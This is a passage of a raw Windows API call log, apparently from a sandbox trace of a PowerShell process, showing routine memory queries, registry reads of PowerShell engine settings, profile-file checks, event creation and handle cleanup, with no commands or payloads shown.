lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.440] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.440] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.440] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.440] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.440] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.440] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.449] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.449] GetLastError () returned 0xcb [0059.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.449] GetLastError () returned 0xcb [0059.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dacc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.449] GetLastError () returned 0xcb [0059.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dacc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.449] GetLastError () returned 0xcb [0059.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dacc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.449] GetLastError () returned 0xcb [0059.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.465] GetLastError () returned 0xcb [0059.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dacc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.466] GetLastError () returned 0xcb [0059.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dacc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.466] GetLastError () returned 0xcb [0059.466] VirtualQuery (in: lpAddress=0x25d048, lpBuffer=0x25e048, dwLength=0x1c | out: lpBuffer=0x25e048*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.467] GetLastError () returned 0xcb [0059.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dacc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.467] GetLastError () returned 0xcb [0059.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dacc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.467] GetLastError () returned 0xcb [0059.467] VirtualQuery (in: lpAddress=0x25d040, lpBuffer=0x25e040, dwLength=0x1c | out: lpBuffer=0x25e040*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.467] VirtualQuery (in: lpAddress=0x25ccf4, lpBuffer=0x25dcf4, dwLength=0x1c | out: lpBuffer=0x25dcf4*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.467] VirtualQuery (in: lpAddress=0x25ccf4, lpBuffer=0x25dcf4, dwLength=0x1c | out: lpBuffer=0x25dcf4*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.469] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e77c | out: phkResult=0x25e77c*=0x3a8) returned 0x0 [0059.469] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e7c4, lpData=0x0, lpcbData=0x25e7c0*=0x0 | out: lpType=0x25e7c4*=0x1, lpData=0x0, lpcbData=0x25e7c0*=0x56) returned 0x0 [0059.469] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e7c4, lpData=0x391da8, lpcbData=0x25e7c0*=0x56 | out: lpType=0x25e7c4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e7c0*=0x56) returned 0x0 [0059.469] RegCloseKey (hKey=0x3a8) returned 0x0 [0059.470] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e77c | out: phkResult=0x25e77c*=0x3a8) returned 0x0 [0059.470] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e7c4, lpData=0x0, lpcbData=0x25e7c0*=0x0 | out: lpType=0x25e7c4*=0x1, lpData=0x0, lpcbData=0x25e7c0*=0x56) returned 0x0 [0059.470] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e7c4, lpData=0x391da8, lpcbData=0x25e7c0*=0x56 | out: lpType=0x25e7c4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e7c0*=0x56) returned 0x0 [0059.470] RegCloseKey (hKey=0x3a8) returned 0x0 [0059.471] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x391da8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0059.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0059.471] GetLastError () returned 0x3f0 [0059.471] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x391da8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0059.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0059.471] GetLastError () returned 0x3f0 [0059.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x25e3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0059.472] GetLastError () returned 0x3f0 [0059.472] SetErrorMode (uMode=0x1) returned 0x1 [0059.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x25e82c | out: lpFileInformation=0x25e82c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0059.472] GetLastError () returned 0x2 [0059.472] SetErrorMode (uMode=0x1) returned 0x1 [0059.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x25e3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0059.472] GetLastError () returned 0x2 [0059.472] SetErrorMode (uMode=0x1) returned 0x1 [0059.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x25e82c | out: lpFileInformation=0x25e82c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0059.472] GetLastError () returned 0x2 [0059.473] SetErrorMode (uMode=0x1) returned 0x1 [0059.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x25e3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x45 [0059.473] GetLastError () returned 0x2 [0059.473] SetErrorMode (uMode=0x1) returned 0x1 [0059.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x25e82c | out: lpFileInformation=0x25e82c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0059.473] GetLastError () returned 0x3 [0059.473] SetErrorMode (uMode=0x1) returned 0x1 [0059.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x25e3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x5a [0059.473] GetLastError () returned 0x3 [0059.473] SetErrorMode (uMode=0x1) returned 0x1 [0059.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x25e82c | out: lpFileInformation=0x25e82c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0059.473] GetLastError () returned 0x3 [0059.473] SetErrorMode (uMode=0x1) returned 0x1 [0059.474] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.474] GetLastError () returned 0xcb [0059.476] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.476] GetLastError () returned 0xcb [0059.478] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.478] GetLastError () returned 0xcb [0059.479] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.479] GetLastError () returned 0xcb [0059.480] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.480] GetLastError () returned 0xcb [0059.488] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.488] GetLastError () returned 0xcb [0059.488] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a8 [0059.488] GetLastError () returned 0x0 [0059.488] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3ac [0059.488] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b0 [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b4 [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b8 [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3bc [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3dc [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a0 [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c4 [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3c8 [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x32c [0059.489] GetLastError () returned 0x0 [0059.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x330 [0059.489] GetLastError () returned 0x0 [0059.491] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.491] GetLastError () returned 0xcb [0059.496] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0059.496] GetLastError () returned 0xcb [0059.497] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0x25e86c | out: lpMode=0x25e86c) returned 0 [0059.498] GetLastError () returned 0x6 [0059.500] SetEvent (hEvent=0x3b4) returned 1 [0059.500] GetLastError () returned 0x6 [0059.500] SetEvent (hEvent=0x3a8) returned 1 [0059.500] GetLastError () returned 0x6 [0059.500] SetEvent (hEvent=0x3ac) returned 1 [0059.500] GetLastError () returned 0x6 [0059.500] SetEvent (hEvent=0x3b0) returned 1 [0059.500] GetLastError () returned 0x6 [0059.500] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3cc [0059.500] GetLastError () returned 0x0 [0059.501] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.501] GetLastError () returned 0xcb [0059.501] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e6d0 | out: phkResult=0x25e6d0*=0x350) returned 0x0 [0059.501] RegQueryValueExW (in: hKey=0x350, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x25e718, lpData=0x0, lpcbData=0x25e714*=0x0 | out: lpType=0x25e718*=0x0, lpData=0x0, lpcbData=0x25e714*=0x0) returned 0x2 Thread: id = 13 os_tid = 0x7bc Thread: id = 14 os_tid = 0x80c Thread: id = 15 os_tid = 0x87c Thread: id = 16 os_tid = 0x88c Thread: id = 17 os_tid = 0x89c [0052.831] CoGetContextToken (in: pToken=0x4b0f5f8 | out: pToken=0x4b0f5f8) returned 0x0 [0052.831] CObjectContext::QueryInterface () returned 0x0 [0052.831] CObjectContext::GetCurrentThreadType () returned 0x0 [0052.831] Release () returned 0x0 [0052.831] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0057.477] LocalFree (hMem=0x3b4ef0) returned 0x0 [0057.477] GetLastError () returned 0x0 [0057.477] CloseHandle (hObject=0x350) returned 1 [0057.477] GetLastError () returned 0x0 [0057.477] CloseHandle (hObject=0x13) returned 1 [0057.477] GetLastError () returned 0x0 [0057.477] CloseHandle (hObject=0xf) returned 1 [0057.478] GetLastError () returned 0x0 [0057.478] RegCloseKey (hKey=0x334) returned 0x0 [0057.478] RegCloseKey (hKey=0x330) returned 0x0 [0057.478] RegCloseKey (hKey=0x32c) returned 0x0 [0057.478] LocalFree (hMem=0x3b4f10) returned 0x0 [0057.478] GetLastError () returned 0x0 [0057.478] RegCloseKey (hKey=0x35c) returned 0x0 [0058.547] RegCloseKey (hKey=0x3d4) returned 0x0 [0058.547] RegCloseKey (hKey=0x39c) returned 0x0 [0058.547] RegCloseKey (hKey=0x398) returned 0x0 [0058.547] RegCloseKey (hKey=0x394) returned 0x0 [0058.548] RegCloseKey (hKey=0x390) returned 0x0 [0058.548] RegCloseKey (hKey=0x38c) returned 0x0 [0058.548] RegCloseKey (hKey=0x388) returned 0x0 [0058.548] RegCloseKey (hKey=0x384) returned 0x0 [0058.548] RegCloseKey (hKey=0x380) returned 0x0 [0058.549] RegCloseKey (hKey=0x3d0) returned 0x0 [0058.549] RegCloseKey (hKey=0x378) returned 0x0 [0058.549] RegCloseKey (hKey=0x374) returned 0x0 [0058.549] RegCloseKey (hKey=0x370) returned 0x0 [0058.550] RegCloseKey (hKey=0x36c) returned 0x0 [0058.550] RegCloseKey (hKey=0x368) returned 0x0 [0058.550] RegCloseKey (hKey=0x364) returned 0x0 [0058.550] RegCloseKey (hKey=0x360) returned 0x0 [0058.550] RegCloseKey (hKey=0x350) returned 0x0 [0058.551] RegCloseKey (hKey=0x3cc) returned 0x0 [0058.551] RegCloseKey (hKey=0x330) returned 0x0 [0058.551] RegCloseKey (hKey=0x32c) returned 0x0 [0058.551] RegCloseKey (hKey=0x3c8) returned 0x0 [0058.551] RegCloseKey (hKey=0x3c4) returned 0x0 [0058.552] RegCloseKey (hKey=0x3a0) returned 0x0 [0058.552] RegCloseKey (hKey=0x3dc) returned 0x0 [0058.552] RegCloseKey (hKey=0x3bc) returned 0x0 [0058.552] RegCloseKey (hKey=0x3b8) returned 0x0 [0058.553] RegCloseKey (hKey=0x3b4) returned 0x0 [0058.553] RegCloseKey (hKey=0x3b0) returned 0x0 [0058.553] RegCloseKey (hKey=0x3ac) returned 0x0 [0058.553] RegCloseKey (hKey=0x3a8) returned 0x0 [0058.554] RegCloseKey (hKey=0x3a4) returned 0x0 [0058.554] RegCloseKey (hKey=0x334) returned 0x0 [0058.554] RegCloseKey (hKey=0x3d8) returned 0x0 [0058.554] RegCloseKey (hKey=0x35c) returned 0x0 [0066.455] CoGetContextToken (in: pToken=0x4b0f5d8 | out: pToken=0x4b0f5d8) returned 0x0 [0066.455] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0066.455] WbemLocator:IUnknown:Release (This=0x60f0bf0) returned 0x0 [0066.456] CoGetContextToken (in: pToken=0x4b0f534 | out: pToken=0x4b0f534) returned 0x0 [0066.456] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x1 [0066.456] IUnknown:Release (This=0x60fcb34) returned 0x0 [0066.459] CloseHandle (hObject=0x2b) returned 1 [0066.459] GetLastError () returned 0x0 [0066.459] CloseHandle (hObject=0x27) returned 1 [0066.459] GetLastError () returned 0x0 [0066.460] CloseHandle (hObject=0x23) returned 1 [0066.460] GetLastError () returned 0x0 [0066.460] CloseHandle (hObject=0x1f) returned 1 [0066.460] GetLastError () returned 0x0 [0066.460] CloseHandle (hObject=0x2f) returned 1 [0066.461] GetLastError () returned 0x0 [0066.461] CloseHandle (hObject=0x1b) returned 1 [0066.461] GetLastError () returned 0x0 [0066.461] CloseHandle (hObject=0x17) returned 1 [0066.462] GetLastError () returned 0x0 [0066.462] RegCloseKey (hKey=0x350) returned 0x0 [0066.462] CloseHandle (hObject=0x13) returned 1 [0066.462] GetLastError () returned 0x0 [0066.462] CloseHandle (hObject=0xf) returned 1 [0066.463] GetLastError () returned 0x0 [0066.463] CloseHandle (hObject=0x3b) returned 1 [0066.463] GetLastError () returned 0x0 [0066.463] CloseHandle (hObject=0x37) returned 1 [0066.463] GetLastError () returned 0x0 [0066.464] CloseHandle (hObject=0x33) returned 1 [0066.464] GetLastError () returned 0x0 [0067.672] CoGetContextToken (in: pToken=0x4b0f5d8 | out: pToken=0x4b0f5d8) returned 0x0 [0067.672] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.672] WbemLocator:IUnknown:Release (This=0x60fd470) returned 0x0 [0067.673] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.673] IUnknown:Release (This=0x60fd670) returned 0x1 [0067.673] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.673] IUnknown:Release (This=0x60fd808) returned 0x1 [0067.673] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.673] IUnknown:Release (This=0x60fe4a0) returned 0x1 [0067.673] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.673] IUnknown:Release (This=0x60fe638) returned 0x1 [0067.673] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.673] IUnknown:Release (This=0x60fe7d0) returned 0x1 [0067.673] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.673] IUnknown:Release (This=0x60fe9e8) returned 0x1 [0067.674] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.674] IUnknown:Release (This=0x60fec18) returned 0x1 [0067.674] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.674] IUnknown:Release (This=0x60fee28) returned 0x1 [0067.674] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.674] IUnknown:Release (This=0x6100850) returned 0x1 [0067.674] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.674] IUnknown:Release (This=0x6100a80) returned 0x1 [0067.674] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.674] IUnknown:Release (This=0x6100cb8) returned 0x1 [0067.674] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.674] IUnknown:Release (This=0x60ff048) returned 0x1 [0067.674] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.674] IUnknown:Release (This=0x60ff1e0) returned 0x1 [0067.675] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.675] IUnknown:Release (This=0x60ff410) returned 0x1 [0067.675] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.675] IUnknown:Release (This=0x60ff628) returned 0x1 [0067.675] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.675] IUnknown:Release (This=0x6101380) returned 0x1 [0067.675] CoGetContextToken (in: pToken=0x4b0f568 | out: 